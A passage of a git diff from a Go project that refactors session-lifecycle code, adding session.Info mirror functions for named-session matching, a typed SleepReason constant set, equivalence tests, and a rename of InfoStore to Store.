-				case s == "open" && b.Status == "open":
-					match = true
-				case b.Status != "closed" && s == string(state):
-					// Only match metadata state for non-closed beads.
-					match = true
-				}
-				if match {
-					break
-				}
-			}
-			if !match {
-				continue
-			}
-		} else if stateFilter == "" {
-			// Default: exclude closed sessions.
-			if b.Status == "closed" {
-				continue
-			}
-		}
-
-		// Filter by template.
-		if templateFilter != "" && b.Metadata["template"] != templateFilter {
+		if !sessionMatchesFilters(b, stateFilter, templateFilter) {
 			continue
 		}
-
 		result = append(result, m.infoFromBead(b))
 	}
 	return &ListResult{Sessions: result, Beads: all}
diff --git a/internal/session/manager_states_test.go b/internal/session/manager_states_test.go
index c224f04f47..9c4dae5cb2 100644
--- a/internal/session/manager_states_test.go
+++ b/internal/session/manager_states_test.go
@@ -312,3 +312,26 @@ func TestConformance_QuarantineReactivation(t *testing.T) {
 		t.Errorf("continuity_eligible = %q, want true", b.Metadata["continuity_eligible"])
 	}
 }
+
+func TestCanonicalLifecycleState(t *testing.T) {
+	cases := []struct {
+		name string
+		in   State
+		want State
+	}{
+		{"empty legacy state normalizes to active", StateNone, StateActive},
+		{"awake alias normalizes to active", StateAwake, StateActive},
+		{"active is unchanged", StateActive, StateActive},
+		{"asleep is unchanged", StateAsleep, StateAsleep},
+		{"suspended is unchanged", StateSuspended, StateSuspended},
+		{"failed-create is unchanged", StateFailedCreate, StateFailedCreate},
+		{"drained is not remapped here", State("drained"), State("drained")},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			if got := canonicalLifecycleState(tc.in); got != tc.want {
+				t.Errorf("canonicalLifecycleState(%q) = %q, want %q", tc.in, got, tc.want)
+			}
+		})
+	}
+}
diff --git a/internal/session/named_config.go b/internal/session/named_config.go
index 01e8176598..6e9d09eca3 100644
--- a/internal/session/named_config.go
+++ b/internal/session/named_config.go
@@ -187,6 +187,65 @@ func NamedSessionMode(b beads.Bead) string {
 	return strings.TrimSpace(b.Metadata[NamedSessionModeMetadata])
 }
 
+// IsNamedSessionInfo is the session.Info mirror of IsNamedSessionBead:
+// Info.ConfiguredNamedSession already projects the trimmed
+// configured_named_session == "true" flag.
+func IsNamedSessionInfo(i Info) bool {
+	return i.ConfiguredNamedSession
+}
+
+// NamedSessionIdentityInfo is the session.Info mirror of NamedSessionIdentity:
+// the trimmed configured_named_identity (Info.ConfiguredNamedIdentity is the raw
+// value).
+func NamedSessionIdentityInfo(i Info) string {
+	return strings.TrimSpace(i.ConfiguredNamedIdentity)
+}
+
+// NamedSessionInfoMatchesSpec is the session.Info mirror of
+// NamedSessionBeadMatchesSpec.
+func NamedSessionInfoMatchesSpec(i Info, spec NamedSessionSpec) bool {
+	if IsNamedSessionInfo(i) && NamedSessionIdentityInfo(i) == spec.Identity {
+		return true
+	}
+	template := NormalizeNamedSessionTarget(strings.TrimSpace(i.Template))
+	agentName := NormalizeNamedSessionTarget(strings.TrimSpace(i.AgentName))
+	backingTemplate := NamedSessionBackingTemplate(spec)
+	return template == backingTemplate || agentName == backingTemplate
+}
+
+// NamedSessionInfoContinuityEligible is the session.Info mirror of
+// NamedSessionContinuityEligible. It reads the raw continuity_eligible and raw
+// state metadata (Info.ContinuityEligible / Info.MetadataState).
+func NamedSessionInfoContinuityEligible(i Info) bool {
+	continuity := strings.TrimSpace(i.ContinuityEligible)
+	if continuity == "false" {
+		return false
+	}
+	switch strings.TrimSpace(i.MetadataState) {
+	case "archived":
+		return continuity == "true"
+	case "closing", "closed", string(StateFailedCreate):
+		return false
+	default:
+		return true
+	}
+}
+
+// InfoConflictsWithNamedSession is the session.Info mirror of
+// BeadConflictsWithNamedSession.
+func InfoConflictsWithNamedSession(i Info, spec NamedSessionSpec) bool {
+	if IsNamedSessionInfo(i) && NamedSessionIdentityInfo(i) == spec.Identity {
+		return false
+	}
+	if strings.TrimSpace(i.SessionNameMetadata) == spec.SessionName {
+		return !NamedSessionInfoMatchesSpec(i, spec)
+	}
+	if strings.TrimSpace(i.Alias) == spec.Identity {
+		return true
+	}
+	return false
+}
+
 // NamedSessionBeadMatchesSpec reports whether a bead belongs to the named session spec.
 func NamedSessionBeadMatchesSpec(b beads.Bead, spec NamedSessionSpec) bool {
 	if IsNamedSessionBead(b) && NamedSessionIdentity(b) == spec.Identity {
@@ -439,6 +498,49 @@ func FindNamedSessionConflict(candidates []beads.Bead, spec NamedSessionSpec) (b
 	return beads.Bead{}, false
 }
 
+// FindNamedSessionConflictInfo is the session.Info mirror of
+// FindNamedSessionConflict: it finds the first live session Info that blocks a
+// configured named session.
+func FindNamedSessionConflictInfo(candidates []Info, spec NamedSessionSpec) (Info, bool) {
+	for _, i := range candidates {
+		if !IsSessionBeadOrRepairableInfo(i) || i.Closed {
+			continue
+		}
+		if InfoConflictsWithNamedSession(i, spec) {
+			return i, true
+		}
+	}
+	return Info{}, false
+}
+
+// FindCanonicalNamedSessionInfo is the session.Info mirror of
+// FindCanonicalNamedSessionBead: it finds the active Info that owns a configured
+// named session.
+func FindCanonicalNamedSessionInfo(candidates []Info, spec NamedSessionSpec) (Info, bool) {
+	identity := NormalizeNamedSessionTarget(spec.Identity)
+	for _, i := range candidates {
+		if !IsSessionBeadOrRepairableInfo(i) || i.Closed || !NamedSessionInfoContinuityEligible(i) {
+			continue
+		}
+		if IsNamedSessionInfo(i) && NamedSessionIdentityInfo(i) == identity {
+			return i, true
+		}
+	}
+	for _, i := range candidates {
+		if !IsSessionBeadOrRepairableInfo(i) || i.Closed || !NamedSessionInfoContinuityEligible(i) {
+			continue
+		}
+		if !NamedSessionInfoMatchesSpec(i, spec) {
+			continue
+		}
+		sn := strings.TrimSpace(i.SessionNameMetadata)
+		if sn == spec.SessionName || sn == identity {
+			return i, true
+		}
+	}
+	return Info{}, false
+}
+
 // FindClosedNamedSessionBead finds the newest closed bead for a named session identity.
 func FindClosedNamedSessionBead(store beads.Store, identity string) (beads.Bead, bool, error) {
 	return FindClosedNamedSessionBeadForSessionName(store, identity, "")
diff --git a/internal/session/named_config_info_equiv_test.go b/internal/session/named_config_info_equiv_test.go
new file mode 100644
index 0000000000..41697fcded
--- /dev/null
+++ b/internal/session/named_config_info_equiv_test.go
@@ -0,0 +1,171 @@
+package session
+
+import (
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+// TestNamedSessionInfoEquivalence is the byte-identical oracle for migrating the
+// named-session snapshot consumers onto session.Info. Every Info-form classifier
+// and the two Find*Info selectors must agree with their raw-bead originals for
+// the same bead once projected through InfoFromPersistedBead.
+func TestNamedSessionInfoEquivalence(t *testing.T) {
+	spec := NamedSessionSpec{
+		Agent:       &config.Agent{Name: "mayor"},
+		Identity:    "mayor",
+		SessionName: "mayor-session",
+		Mode:        "always",
+	}
+
+	beadsIn := []beads.Bead{
+		{
+			ID:     "ga-canonical",
+			Type:   BeadType,
+			Labels: []string{LabelSession},
+			Metadata: map[string]string{
+				NamedSessionMetadataKey:      "true",
+				NamedSessionIdentityMetadata: "mayor",
+				"session_name":               "mayor-session",
+				"state":                      "active",
+			},
+		},
+		{
+			// Template-match canonical (no configured flag), matches by backing template.
+			ID:     "ga-template-match",
+			Type:   BeadType,
+			Labels: []string{LabelSession},
+			Metadata: map[string]string{
+				"template":     "mayor",
+				"session_name": "mayor-session",
+			},
+		},
+		{
+			// Conflict: same runtime session_name but a different (non-matching) template.
+			ID:     "ga-conflict-sn",
+			Type:   BeadType,
+			Labels: []string{LabelSession},
+			Metadata: map[string]string{
+				"template":     "polecat",
+				"session_name": "mayor-session",
+			},
+		},
+		{
+			// Conflict: alias equals the identity.
+			ID:     "ga-conflict-alias",
+			Type:   BeadType,
+			Labels: []string{LabelSession},
+			Metadata: map[string]string{
+				"alias":        "mayor",
+				"session_name": "other-session",
+			},
+		},
+		{
+			// Continuity-ineligible: explicit false.
+			ID:     "ga-ineligible",
+			Type:   BeadType,
+			Labels: []string{LabelSession},
+			Metadata: map[string]string{
+				NamedSessionMetadataKey:      "true",
+				NamedSessionIdentityMetadata: "mayor",
+				"session_name":               "mayor-session",
+				"continuity_eligible":        "false",
+			},
+		},
+		{
+			// Archived + continuity true → eligible only when true.
+			ID:     "ga-archived",
+			Type:   BeadType,
+			Labels: []string{LabelSession},
+			Metadata: map[string]string{
+				NamedSessionMetadataKey:      "true",
+				NamedSessionIdentityMetadata: "mayor",
+				"session_name":               "mayor-session",
+				"state":                      "archived",
+				"continuity_eligible":        "true",
+			},
+		},
+		{
+			// Repairable: empty type but carries the session label.
+			ID:     "ga-repairable",
+			Type:   "",
+			Labels: []string{LabelSession},
+			Metadata: map[string]string{
+				NamedSessionMetadataKey:      "true",
+				NamedSessionIdentityMetadata: "mayor",
+				"session_name":               "mayor-session",
+			},
+		},
+		{
+			// Not a session bead at all (wrong type, no label).
+			ID:   "ga-nonsession",
+			Type: "task",
+			Metadata: map[string]string{
+				"session_name": "mayor-session",
+			},
+		},
+		{
+			ID:     "ga-closed",
+			Type:   BeadType,
+			Status: "closed",
+			Labels: []string{LabelSession},
+			Metadata: map[string]string{
+				NamedSessionMetadataKey:      "true",
+				NamedSessionIdentityMetadata: "mayor",
+				"session_name":               "mayor-session",
+			},
+		},
+	}
+
+	// Per-bead classifier equivalence.
+	for _, b := range beadsIn {
+		i := InfoFromPersistedBead(b)
+		if got, want := IsSessionBeadOrRepairableInfo(i), IsSessionBeadOrRepairable(b); got != want {
+			t.Errorf("bead %q: IsSessionBeadOrRepairableInfo=%v want %v", b.ID, got, want)
+		}
+		if got, want := IsNamedSessionInfo(i), IsNamedSessionBead(b); got != want {
+			t.Errorf("bead %q: IsNamedSessionInfo=%v want %v", b.ID, got, want)
+		}
+		if got, want := NamedSessionIdentityInfo(i), NamedSessionIdentity(b); got != want {
+			t.Errorf("bead %q: NamedSessionIdentityInfo=%q want %q", b.ID, got, want)
+		}
+		if got, want := NamedSessionInfoMatchesSpec(i, spec), NamedSessionBeadMatchesSpec(b, spec); got != want {
+			t.Errorf("bead %q: NamedSessionInfoMatchesSpec=%v want %v", b.ID, got, want)
+		}
+		if got, want := NamedSessionInfoContinuityEligible(i), NamedSessionContinuityEligible(b); got != want {
+			t.Errorf("bead %q: NamedSessionInfoContinuityEligible=%v want %v", b.ID, got, want)
+		}
+		if got, want := InfoConflictsWithNamedSession(i, spec), BeadConflictsWithNamedSession(b, spec); got != want {
+			t.Errorf("bead %q: InfoConflictsWithNamedSession=%v want %v", b.ID, got, want)
+		}
+	}
+
+	// Selector equivalence over several candidate slices (order matters).
+	slices := [][]beads.Bead{
+		beadsIn,
+		{beadsIn[2], beadsIn[3]}, // conflicts only, no canonical
+		{beadsIn[1]},             // template-match canonical
+		{beadsIn[4], beadsIn[0]}, // ineligible before canonical
+		{beadsIn[8]},             // closed only
+		{beadsIn[7]},             // non-session only
+	}
+	for si, candidates := range slices {
+		infos := make([]Info, len(candidates))
+		for k, b := range candidates {
+			infos[k] = InfoFromPersistedBead(b)
+		}
+
+		wantBead, wantOK := FindCanonicalNamedSessionBead(candidates, spec)
+		gotInfo, gotOK := FindCanonicalNamedSessionInfo(infos, spec)
+		if wantOK != gotOK || wantBead.ID != gotInfo.ID {
+			t.Errorf("slice %d: FindCanonicalNamedSessionInfo=(%q,%v) want (%q,%v)", si, gotInfo.ID, gotOK, wantBead.ID, wantOK)
+		}
+
+		wantCBead, wantCOK := FindNamedSessionConflict(candidates, spec)
+		gotCInfo, gotCOK := FindNamedSessionConflictInfo(infos, spec)
+		if wantCOK != gotCOK || wantCBead.ID != gotCInfo.ID {
+			t.Errorf("slice %d: FindNamedSessionConflictInfo=(%q,%v) want (%q,%v)", si, gotCInfo.ID, gotCOK, wantCBead.ID, wantCOK)
+		}
+	}
+}
diff --git a/internal/session/resolve.go b/internal/session/resolve.go
index 5c900c8cbe..19a54e60d2 100644
--- a/internal/session/resolve.go
+++ b/internal/session/resolve.go
@@ -216,6 +216,28 @@ func IsSessionBeadOrRepairable(b beads.Bead) bool {
 	return b.Type == "" && hasSessionLabel(b)
 }
 
+// hasSessionLabelInfo is the Info mirror of hasSessionLabel: it reports whether
+// the projected labels carry the gc:session marker.
+func hasSessionLabelInfo(i Info) bool {
+	for _, l := range i.Labels {
+		if l == LabelSession {
+			return true
+		}
+	}
+	return false
+}
+
+// IsSessionBeadOrRepairableInfo is the session.Info mirror of
+// IsSessionBeadOrRepairable: a proper session bead (Type == BeadType) or a
+// crash/migration-damaged bead (empty Type carrying the gc:session label).
+// Info.Type and Info.Labels project both inputs verbatim, so the two agree.
+func IsSessionBeadOrRepairableInfo(i Info) bool {
+	if i.Type == BeadType {
+		return true
+	}
+	return i.Type == "" && hasSessionLabelInfo(i)
+}
+
 // RepairEmptyType fixes a session bead with an empty type field by
 // setting it to "session". Only call it from paths that already mutate
 // or materialize the bead; read-only resolution normalizes in memory
diff --git a/internal/session/sleep_reason.go b/internal/session/sleep_reason.go
new file mode 100644
index 0000000000..b8589be1e2
--- /dev/null
+++ b/internal/session/sleep_reason.go
@@ -0,0 +1,61 @@
+package session
+
+import "strings"
+
+// SleepReason is the typed vocabulary for the sleep_reason bead-metadata
+// marker. Before this type the ~fifteen sleep-reason strings were matched as
+// raw literals across four independent classifier case lists (churn
+// suppression, continuation reset, display reason, wake-blocker clearing) plus
+// scattered writers, so a misspelled writer ("rate-limit" vs "rate_limit")
+// silently escaped every classifier. Routing both the writers and the
+// classifiers through these constants makes such a typo a compile error.
+//
+// The on-store string values are unchanged; SleepReason is a thin string alias
+// so a raw metadata value converts with SleepReason(value) at the read edge.
+type SleepReason string
+
+// Sleep-reason values written to and read from the sleep_reason metadata key.
+// SleepReasonRuntimeMissing shares its string with LifecycleReasonRuntimeMissing
+// (the display-reason surface of the same posture); it is defined from that
+// constant so the two never drift.
+const (
+	SleepReasonIdle                  SleepReason = "idle"
+	SleepReasonIdleTimeout           SleepReason = "idle-timeout"
+	SleepReasonNoWakeReason          SleepReason = "no-wake-reason"
+	SleepReasonConfigDrift           SleepReason = "config-drift"
+	SleepReasonDrained               SleepReason = "drained"
+	SleepReasonCityStop              SleepReason = "city-stop"
+	SleepReasonUserHold              SleepReason = "user-hold"
+	SleepReasonWaitHold              SleepReason = "wait-hold"
+	SleepReasonRateLimit             SleepReason = "rate_limit"
+	SleepReasonFailedCreate          SleepReason = "failed-create"
+	SleepReasonProviderTerminalError SleepReason = "provider-terminal-error"
+	SleepReasonRuntimeMissing        SleepReason = SleepReason(LifecycleReasonRuntimeMissing)
+	SleepReasonQuarantine            SleepReason = "quarantine"
+	SleepReasonContextChurn          SleepReason = "context-churn"
+	SleepReasonMaxSessionAge         SleepReason = "max-session-age"
+)
+
+// IsDeliberateSleepReason reports whether a sleep_reason records an
+// intentional stop rather than a crash, so the death must not accrue churn.
+// "city-stop" mirrors the CLI's stop sleep reason.
+// "provider-terminal-error" is a classified, non-retryable provider failure
+// (set by markProviderTerminalError); it is suppressed here so a session
+// already parked terminal cannot also accrue a spurious wake failure, making
+// the invariant explicit rather than relying on last_woke_at being cleared in
+// the same metadata batch.
+// The reason list deliberately diverges from shouldResetContinuation's
+// near-identical list (this one has "failed-create" and lacks
+// "runtime-missing"): that one decides continuation reset on wake, this one
+// decides churn suppression — do not merge the lists.
+func IsDeliberateSleepReason(reason string) bool {
+	switch SleepReason(strings.TrimSpace(reason)) {
+	case SleepReasonIdle, SleepReasonIdleTimeout, SleepReasonNoWakeReason,
+		SleepReasonConfigDrift, SleepReasonDrained, SleepReasonCityStop,
+		SleepReasonUserHold, SleepReasonWaitHold, SleepReasonRateLimit,
+		SleepReasonFailedCreate, SleepReasonProviderTerminalError:
+		return true
+	default:
+		return false
+	}
+}
diff --git a/internal/session/sleep_reason_test.go b/internal/session/sleep_reason_test.go
new file mode 100644
index 0000000000..93db024455
--- /dev/null
+++ b/internal/session/sleep_reason_test.go
@@ -0,0 +1,69 @@
+package session
+
+import "testing"
+
+// TestSleepReasonConstantValues pins the on-store string of every sleep reason
+// so a constant edit that would change the wire value is caught here rather
+// than silently reclassifying live beads.
+func TestSleepReasonConstantValues(t *testing.T) {
+	want := map[SleepReason]string{
+		SleepReasonIdle:                  "idle",
+		SleepReasonIdleTimeout:           "idle-timeout",
+		SleepReasonNoWakeReason:          "no-wake-reason",
+		SleepReasonConfigDrift:           "config-drift",
+		SleepReasonDrained:               "drained",
+		SleepReasonCityStop:              "city-stop",
+		SleepReasonUserHold:              "user-hold",
+		SleepReasonWaitHold:              "wait-hold",
+		SleepReasonRateLimit:             "rate_limit",
+		SleepReasonFailedCreate:          "failed-create",
+		SleepReasonProviderTerminalError: "provider-terminal-error",
+		SleepReasonRuntimeMissing:        "runtime-missing",
+		SleepReasonQuarantine:            "quarantine",
+		SleepReasonContextChurn:          "context-churn",
+		SleepReasonMaxSessionAge:         "max-session-age",
+	}
+	for reason, str := range want {
+		if string(reason) != str {
+			t.Errorf("SleepReason %q = %q, want %q", str, string(reason), str)
+		}
+	}
+	// SleepReasonRuntimeMissing must stay pinned to the shared display-reason
+	// constant so the two surfaces of the same posture never drift apart.
+	if string(SleepReasonRuntimeMissing) != LifecycleReasonRuntimeMissing {
+		t.Errorf("SleepReasonRuntimeMissing = %q, want %q (LifecycleReasonRuntimeMissing)",
+			SleepReasonRuntimeMissing, LifecycleReasonRuntimeMissing)
+	}
+}
+
+// TestSleepReasonListDivergence locks in the documented, deliberate divergence
+// between the churn-suppression list (IsDeliberateSleepReason) and the
+// continuation-reset list (shouldResetContinuation): the former has
+// "failed-create" and lacks "runtime-missing"; the latter is the reverse.
+// Merging the two lists is a bug, so this test fails if they ever converge on
+// those two elements.
+func TestSleepReasonListDivergence(t *testing.T) {
+	// failed-create: deliberate stop (no churn) but NOT a reset-suppressor.
+	if !IsDeliberateSleepReason(string(SleepReasonFailedCreate)) {
+		t.Error("failed-create must be a deliberate sleep reason")
+	}
+	if resetSuppressed(t, SleepReasonFailedCreate) {
+		t.Error("failed-create must NOT suppress continuation reset")
+	}
+
+	// runtime-missing: reset-suppressor but NOT churn-deliberate.
+	if IsDeliberateSleepReason(string(SleepReasonRuntimeMissing)) {
+		t.Error("runtime-missing must NOT be a deliberate sleep reason")
+	}
+	if !resetSuppressed(t, SleepReasonRuntimeMissing) {
+		t.Error("runtime-missing must suppress continuation reset")
+	}
+}
+
+// resetSuppressed reports whether shouldResetContinuation returns false (reset
+// suppressed) for the given reason on an otherwise reset-eligible input.
+func resetSuppressed(t *testing.T, reason SleepReason) bool {
+	t.Helper()
+	input := LifecycleInput{SessionKey: "sk-1"}
+	return !shouldResetContinuation(BaseStateActive, input, string(reason))
+}
diff --git a/internal/session/store.go b/internal/session/store.go
index f09419b07c..ae016e74a3 100644
--- a/internal/session/store.go
+++ b/internal/session/store.go
@@ -7,7 +7,7 @@ import (
 	"github.com/gastownhall/gascity/internal/beads"
 )
 
-// This file extends the session-class domain wrapper (InfoStore) with the
+// This file extends the session-class domain wrapper (Store) with the
 // WRITE half of the front door per OBJECT-MODEL-FRONT-DOOR-DESIGN sec 3.1. The
 // read half (Get / List, projecting beads.Bead -> session.Info via
 // InfoFromPersistedBead) already lives in info_store.go. Together they form the
@@ -32,7 +32,7 @@ import (
 // patch are written verbatim; the cross-backend contract that an empty-string
 // metadata value reads back as empty (observationally "cleared") is pinned by
 // TestMetadataEmptyStringClearContract.
-func (s *InfoStore) ApplyPatch(id string, patch MetadataPatch) error {
+func (s *Store) ApplyPatch(id string, patch MetadataPatch) error {
 	if len(patch) == 0 {
 		return nil
 	}
@@ -47,7 +47,7 @@ func (s *InfoStore) ApplyPatch(id string, patch MetadataPatch) error {
 // SetState heals a session to the given lifecycle state with a state_reason.
 // It replaces the canonical state-heal SetMetadataBatch(id, {state, state_reason})
 // in session_reconcile.go (healState / healStateWithRollback).
-func (s *InfoStore) SetState(id string, state State, reason string) error {
+func (s *Store) SetState(id string, state State, reason string) error {
 	return s.ApplyPatch(id, MetadataPatch{
 		"state":        string(state),
 		"state_reason": reason,
@@ -56,33 +56,33 @@ func (s *InfoStore) SetState(id string, state State, reason string) error {
 
 // Sleep records a non-terminal sleep/drain result via SleepPatch. It replaces
 // the max-age and idle-timeout sleep writes in session_reconciler.go.
-func (s *InfoStore) Sleep(id, reason string, now time.Time) error {
+func (s *Store) Sleep(id, reason string, now time.Time) error {
 	return s.ApplyPatch(id, SleepPatch(now, reason))
 }
 
 // BeginDrainAckStopPending moves a drain-acked session into durable
 // stop-pending state via DrainAckStopPendingPatch. Replaces markDrainAckStopPending.
-func (s *InfoStore) BeginDrainAckStopPending(id string, now time.Time) error {
+func (s *Store) BeginDrainAckStopPending(id string, now time.Time) error {
 	return s.ApplyPatch(id, DrainAckStopPendingPatch(now))
 }
 
 // RequestRestart records a controller handoff to a fresh provider conversation
 // via RestartRequestPatch. Replaces the restart-request write in session_reconciler.go.
-func (s *InfoStore) RequestRestart(id, sessionKey string, now time.Time) error {
+func (s *Store) RequestRestart(id, sessionKey string, now time.Time) error {
 	return s.ApplyPatch(id, RestartRequestPatch(sessionKey, now))
 }
 
 // ResetConfigDrift records an in-place named-session repair after core config
 // drift via ConfigDriftResetPatch. Replaces the config-drift reset writes in
 // session_reconciler.go and soft_reload.go.
-func (s *InfoStore) ResetConfigDrift(id string, next State, sessionKey string, now time.Time) error {
+func (s *Store) ResetConfigDrift(id string, next State, sessionKey string, now time.Time) error {
 	return s.ApplyPatch(id, ConfigDriftResetPatch(next, sessionKey, now))
 }
 
 // SetWaitHold sets or clears the wait-hold + sleep-intent markers. Replaces the
 // SetMetadataBatch(sessionID, {wait_hold, sleep_intent}) writes in cmd_wait.go.
 // When on is false both keys are cleared (empty-string write).
-func (s *InfoStore) SetWaitHold(id string, on bool, reason string) error {
+func (s *Store) SetWaitHold(id string, on bool, reason string) error {
 	if on {
 		return s.ApplyPatch(id, MetadataPatch{
 			"wait_hold":    reason,
@@ -100,7 +100,7 @@ func (s *InfoStore) SetWaitHold(id string, on bool, reason string) error {
 // single session-attribute key. Unlike ApplyPatch (which emits SetMetadataBatch),
 // this emits SetMetadata so the bead op is identical to the raw single-key write
 // it replaces.
-func (s *InfoStore) setMetadataValue(id, key, value string) error {
+func (s *Store) setMetadataValue(id, key, value string) error {
 	// Bare store error — callers own their diagnostic text (see ApplyPatch).
 	return s.store.SetMetadata(id, key, value)
 }
@@ -111,14 +111,14 @@ func (s *InfoStore) setMetadataValue(id, key, value string) error {
 // city-stop sleep_reason (cmd_stop.go). It emits a single SetMetadata op,
 // byte-identical to the raw write. An empty value clears the key per the
 // empty-string-clear contract.
-func (s *InfoStore) SetMarker(id, key, value string) error {
+func (s *Store) SetMarker(id, key, value string) error {
 	return s.setMetadataValue(id, key, value)
 }
 
 // RecordCurrentBead stamps the work bead a session is currently processing.
 // Replaces recordCurrentBeadIDOnWake (session_bead_cycle.go), which uses a
 // single-key SetMetadata write — so this emits SetMetadata, not a batch.
-func (s *InfoStore) RecordCurrentBead(id, beadID string) error {
+func (s *Store) RecordCurrentBead(id, beadID string) error {
 	return s.setMetadataValue(id, CurrentBeadIDKey, beadID)
 }
 
@@ -127,11 +127,22 @@ func (s *InfoStore) RecordCurrentBead(id, beadID string) error {
 // call in closeBead, which stamps ClosePatch via setMetaBatch separately and
 // then closes the bead. It emits a single Close op, byte-identical to the raw
 // write.
-func (s *InfoStore) CloseWithoutReason(id string) error {
+func (s *Store) CloseWithoutReason(id string) error {
 	// Bare store error — callers own their diagnostic text (see ApplyPatch).
 	return s.store.Close(id)
 }
 
+// Backed reports whether this front door wraps a usable (non-nil) underlying
+// store. It is the typed probe for the `sessFront == nil || sessFront.Store().Store == nil`
+// guard at the controller/CLI roots: a front door constructed over a nil store
+// (the documented typed-nil pattern, where construction yields a real nil
+// *Store when the store is nil) reports false, and so does a nil receiver.
+// Callers use `if !sessFront.Backed() { return }` instead of reaching for the
+// raw embedded store to nil-check it.
+func (s *Store) Backed() bool {
+	return s != nil && s.store.Store != nil
+}
+
 // CircuitResetGeneration returns the persisted session-circuit-breaker reset
 // generation metadata value for id, verbatim (the raw string; "" when unset).
 //
@@ -143,7 +154,7 @@ func (s *InfoStore) CloseWithoutReason(id string) error {
 // diagnostic wrapping (the error is returned bare — see ApplyPatch). It does NOT
 // validate the bead as a session bead: the raw read it replaces did not either,
 // so a non-session bead carrying the key reads back identically.
-func (s *InfoStore) CircuitResetGeneration(id string) (string, error) {
+func (s *Store) CircuitResetGeneration(id string) (string, error) {
 	b, err := s.store.Get(id)
 	if err != nil {
 		return "", err
@@ -174,7 +185,7 @@ type PersistedMarkers struct {
 // its own diagnostic wrapping (the error is returned bare — see ApplyPatch).
 // Like CircuitResetGeneration, it does NOT validate the bead as a session bead:
 // the raw reads it replaces did not either.
-func (s *InfoStore) PersistedMarkers(id string) (PersistedMarkers, error) {
+func (s *Store) PersistedMarkers(id string) (PersistedMarkers, error) {
 	b, err := s.store.Get(id)
 	if err != nil {
 		return PersistedMarkers{}, err
@@ -191,7 +202,7 @@ func (s *InfoStore) PersistedMarkers(id string) (PersistedMarkers, error) {
 // closed. It replaces the Get(id) + read .Status/.Metadata["state"] pattern at
 // the reconciler / session_beads close-path sites. Returns ErrSessionNotFound
 // when no session bead exists.
-func (s *InfoStore) GetState(id string) (state State, closed bool, err error) {
+func (s *Store) GetState(id string) (state State, closed bool, err error) {
 	info, err := s.Get(id)
 	if err != nil {
 		return "", false, err
@@ -208,7 +219,7 @@ func (s *InfoStore) GetState(id string) (state State, closed bool, err error) {
 // closed). PHASE 0: the work-reassignment side effect that closeBead performs
 // (releaseWorkFromClosedSessionBead) is intentionally NOT part of this method —
 // that is a cross-class WORK op owned by the Phase 6 work/assignment API.
-func (s *InfoStore) Close(id, stateCode string, now time.Time) (bool, error) {
+func (s *Store) Close(id, stateCode string, now time.Time) (bool, error) {
 	info, err := s.Get(id)
 	if err != nil {
 		return false, err
@@ -231,7 +242,7 @@ func (s *InfoStore) Close(id, stateCode string, now time.Time) (bool, error) {
 // the bead row after stamping archive/reopen metadata via setMetaBatch. It
 // emits a single Update op with only Status set, byte-identical to the raw
 // write.
-func (s *InfoStore) SetStatusOpen(id string) error {
+func (s *Store) SetStatusOpen(id string) error {
 	open := "open"
 	if err := s.store.Update(id, beads.UpdateOpts{Status: &open}); err != nil {
 		return err
@@ -244,7 +255,7 @@ func (s *InfoStore) SetStatusOpen(id string) error {
 // a session-labeled bead with an empty Type (left by a schema migration or a
 // partial write) is healed back to the session type. It emits a single Update
 // op with only Type set, byte-identical to the raw write.
-func (s *InfoStore) RepairType(id string) error {
+func (s *Store) RepairType(id string) error {
 	t := BeadType
 	if err := s.store.Update(id, beads.UpdateOpts{Type: &t}); err != nil {
 		return err
@@ -257,4 +268,4 @@ func (s *InfoStore) RepairType(id string) error {
 // while their reads/writes are migrated behind the typed methods above. New
 // code must prefer the typed methods; this exists so Phase 4/5 can land
 // incrementally without a flag-day rewrite.
-func (s *InfoStore) Store() beads.SessionStore { return s.store }
+func (s *Store) Store() beads.SessionStore { return s.store }
diff --git a/internal/session/store_test.go b/internal/session/store_test.go
index 8a1a61e716..0b13991e38 100644
--- a/internal/session/store_test.go
+++ b/internal/session/store_test.go
@@ -9,14 +9,14 @@ import (
 	"github.com/gastownhall/gascity/internal/beads/beadstest"
 )
 
-// recordingInfoStore seeds a session bead into a recording-fake store and
-// returns the InfoStore front door plus the recorder, so a test can assert the
+// recordingStore seeds a session bead into a recording-fake store and
+// returns the Store front door plus the recorder, so a test can assert the
 // typed write method emitted byte-identical bead writes.
-func recordingInfoStore(t *testing.T, b beads.Bead) (*InfoStore, *beadstest.RecordingStore) {
+func recordingStore(t *testing.T, b beads.Bead) (*Store, *beadstest.RecordingStore) {
 	t.Helper()
 	mem := beads.NewMemStoreFrom(1, []beads.Bead{b}, nil)
 	rec := beadstest.NewRecordingStore(mem)
-	return NewInfoStore(beads.SessionStore{Store: rec}), rec
+	return NewStore(beads.SessionStore{Store: rec}), rec
 }
 
 // TestApplyPatchByteIdenticalToSetMetaBatch proves ApplyPatch emits exactly one
@@ -24,7 +24,7 @@ func recordingInfoStore(t *testing.T, b beads.Bead) (*InfoStore, *beadstest.Reco
 // setMetaBatch(store, id, patch).
 func TestApplyPatchByteIdenticalToSetMetaBatch(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", map[string]string{"state": "active"})
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	patch := MetadataPatch{"state": "asleep", "last_woke_at": "", "sleep_reason": "max-age"}
 	if err := is.ApplyPatch("s-1", patch); err != nil {
@@ -48,7 +48,7 @@ func TestApplyPatchByteIdenticalToSetMetaBatch(t *testing.T) {
 // setMetaBatch's len==0 short-circuit).
 func TestApplyPatchEmptyIsNoOp(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", nil)
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	if err := is.ApplyPatch("s-1", MetadataPatch{}); err != nil {
 		t.Fatalf("ApplyPatch: %v", err)
@@ -58,11 +58,65 @@ func TestApplyPatchEmptyIsNoOp(t *testing.T) {
 	}
 }
 
+// TestGetReflectsApplyPatch proves the store-authoritative refresh guarantee the
+// session reconciler cuts over to in front-door Step 6: after a mutation
+// persisted through ApplyPatch, a re-Get returns an Info reflecting that
+// mutation. During the lockstep-coexistence phase (Steps 3-5) refreshSessionInfo
+// refreshes the snapshot from the raw working copy instead (byte-identical by
+// construction, and preserving the reconciler's deliberate intra-tick raw/store
+// divergences like the reset_committed_at hiding); Step 6 removes the raw working
+// set and makes Get the sole source. This test pins that Get sees a persisted
+// write — the guarantee that Step-6 cutover depends on.
+func TestGetReflectsApplyPatch(t *testing.T) {
